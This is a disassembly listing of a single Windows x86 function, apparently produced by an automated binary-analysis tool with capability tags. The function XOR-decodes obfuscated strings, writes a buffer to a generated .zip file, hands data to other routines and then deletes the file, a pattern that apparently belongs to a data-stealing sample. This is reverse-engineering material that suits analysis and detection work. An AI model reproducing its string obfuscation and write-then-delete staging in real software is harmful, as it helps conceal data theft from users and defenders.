Function at 0x402b00
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441be9
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x5058
call fcn.0041bae0
mov eax, dword [0x45016c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x505c], edx
mov dword [ebp - 0x5054], ecx
mov eax, dword [ebx + 8]
push dword [0x452920]
mov dword [ebp - 0x5058], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, dword fs:[0x2c]
mov edi, eax
movaps xmm0, xmmword [0x44dca0]
mov dword [ebp - 0x5020], edi
mov dword [ebp - 0x5034], 0x90778d63
mov esi, dword [esi]
mov dword [ebp - 0x5030], 0xbe149212
mov dword [ebp - 0x502c], 0xf1249673
mov dword [ebp - 0x504c], esi
mov eax, dword [esi + 0xac]
test al, 1
jne 0x402c08
or eax, 1
mov dword [esi + 0xac], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x502c]
mov byte [esi + 0xf8], 1
movups xmmword [esi + 0xdc], xmm0
push 0x441d90
movq xmm0, qword [ebp - 0x5034]
movq qword [esi + 0xec], xmm0
mov dword [esi + 0xf4], eax
call fcn.0041b828
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
cmp byte [eax + 0xf8], 0
lea ecx, [eax + 0xdc]
mov dword [ebp - 0x5050], ecx
je 0x402c73
xorps xmm0, xmm0
movlpd qword [ebp - 0x5028], xmm0
mov esi, dword [ebp - 0x5024]
mov edi, dword [ebp - 0x5028]
mov ecx, edi
mov eax, 0xf115ab07
and ecx, 7
mov edx, 0xcb7bff79
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5050]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x402c63
cmp edi, 0x1c
jb 0x402c36
mov esi, dword [ebp - 0x504c]
mov edi, dword [ebp - 0x5020]
mov byte [ecx + 0x1c], 0
push dword [ebx + 0xc]
push dword [0x452920]
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x2000
lea eax, [ebp - 0x5018]
push 0
push eax
call fcn.0041d2e0
add esp, 0x1c
lea eax, [ebp - 0x5018]
push 0x2000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, edi
call fcn.00401440
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [ebp - 0x5018]
push eax
call fcn.00404750
mov ecx, dword [esi + 0x124]
mov dword [ebp - 0x5050], eax
mov dword [ebp - 0x5028], 0xba38ce89
test cl, 1
jne 0x402d20
or ecx, 1
mov dword [esi + 0x124], ecx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x5028]
mov word [esi + 0x130], 0x133
push 0x441d70
mov dword [esi + 0x12c], eax
call fcn.0041b828
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
cmp byte [eax + 0x131], 0
lea ecx, [eax + 0x12c]
mov dword [ebp - 0x5020], ecx
je 0x402d87
xorps xmm0, xmm0
movlpd qword [ebp - 0x5028], xmm0
mov esi, dword [ebp - 0x5024]
mov edi, dword [ebp - 0x5028]
nop
mov ecx, edi
mov eax, 0xdf55afe7
and ecx, 7
mov edx, 0x83af0533
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5020]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x402d7d
cmp edi, 5
jb 0x402d50
mov esi, dword [ebp - 0x504c]
mov byte [ecx + 5], 0
push ecx
push dword [ebp - 0x5050]
call fcn.00404730
mov ecx, dword [esi + 0x98]
mov dword [ebp - 0x5024], eax
mov dword [ebp - 0x5020], 0xbc92ccdb
test cl, 1
jne 0x402de7
or ecx, 1
mov dword [esi + 0x98], ecx
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x5020]
mov word [esi + 0xc0], 0x1e3
push 0x441d50
mov dword [esi + 0xbc], eax
call fcn.0041b828
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
cmp byte [eax + 0xc1], 0
lea ecx, [eax + 0xbc]
mov dword [ebp - 0x5020], ecx
je 0x402e4c
xorps xmm0, xmm0
movlpd qword [ebp - 0x5068], xmm0
mov esi, dword [ebp - 0x5064]
mov edi, dword [ebp - 0x5068]
mov ecx, edi
mov eax, 0xcfe1adab
and ecx, 7
mov edx, 0x87e3c3e3
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x5020]
xor byte [edi + ecx], al
add edi, 1
adc esi, 0
jne 0x402e42
cmp edi, 5
jb 0x402e15
mov esi, dword [ebp - 0x504c]
mov byte [ecx + 5], 0
push ecx
push dword [ebp - 0x5050]
call fcn.00404730
mov dword [ebp - 0x5020], eax
mov eax, dword [ebp - 0x5024]
push dword [eax + 0x10]
lea eax, [ebp - 0x3018]
push 0x452508
push 0x456928
push 0x456b30
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2018]
push dword [0x452914]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2018]
push 0x44d5a0
push eax
call edi
push dword [ebp - 0x5054]
lea eax, [ebp - 0x2018]
push eax
call edi
lea edx, [ebp - 0x5054]
lea ecx, [ebp - 0x3018]
call fcn.00401530
push 0
push 0x80
push 2
push 0
push 1
mov dword [ebp - 0x5024], eax
lea eax, [ebp - 0x2018]
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov edi, eax
lea eax, [ebp - 0x5048]
push eax
push dword [ebp - 0x5054]
push dword [ebp - 0x5024]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x2018]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
lea ecx, [edi + edi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push edi
push eax
mov dword [ebp - 0x504c], eax
lea eax, [ebp - 0x2018]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x2018]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x5020]
push dword [ebp - 0x5058]
mov ecx, dword [ebp - 0x504c]
push dword [ebp - 0x505c]
mov edx, dword [edx + 0x10]
call fcn.00401640
add esp, 8
push dword [0x452920]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x400
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
movaps xmm0, xmmword [0x44dc50]
mov edi, eax
mov eax, dword [esi + 0x108]
mov dword [ebp - 0x5058], edi
test al, 1
jne 0x403005
or eax, 1
mov dword [esi + 0x108], eax
mov dword [ebp - 4], 3
mov word [esi + 0x120], 0x17b
push 0x441d30
movups xmmword [esi + 0x110], xmm0
call fcn.0041b828
add esp, 4
cmp byte [esi + 0x121], 0
lea ecx, [esi + 0x110]
mov dword [ebp - 0x505c], ecx
je 0x403068
xorps xmm0, xmm0
movlpd qword [ebp - 0x5068], xmm0
mov edi, dword [ebp - 0x5064]
mov esi, dword [ebp - 0x5068]
mov ecx, esi
mov eax, 0x3d3dc37b
and ecx, 7
mov edx, 0x19330517
shl ecx, 3
call fcn.00441580
mov ecx, dword [ebp - 0x505c]
xor byte [esi + ecx], al
add esi, 1
adc edi, 0
jne 0x40305e
cmp esi, 0x11
jb 0x403031
mov edi, dword [ebp - 0x5058]
mov byte [ecx + 0x11], 0
push dword [0x452920]
push ecx
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5018]
push 0x2000
push 0
push eax
call fcn.0041d2e0
add esp, 0xc
lea eax, [ebp - 0x5018]
push 0x2000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, edi
call fcn.00401440
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push edi
call esi
push dword [ebp - 0x5050]
call fcn.004046b0
lea eax, [ebp - 0x2018]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x504c]
call esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041b559
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret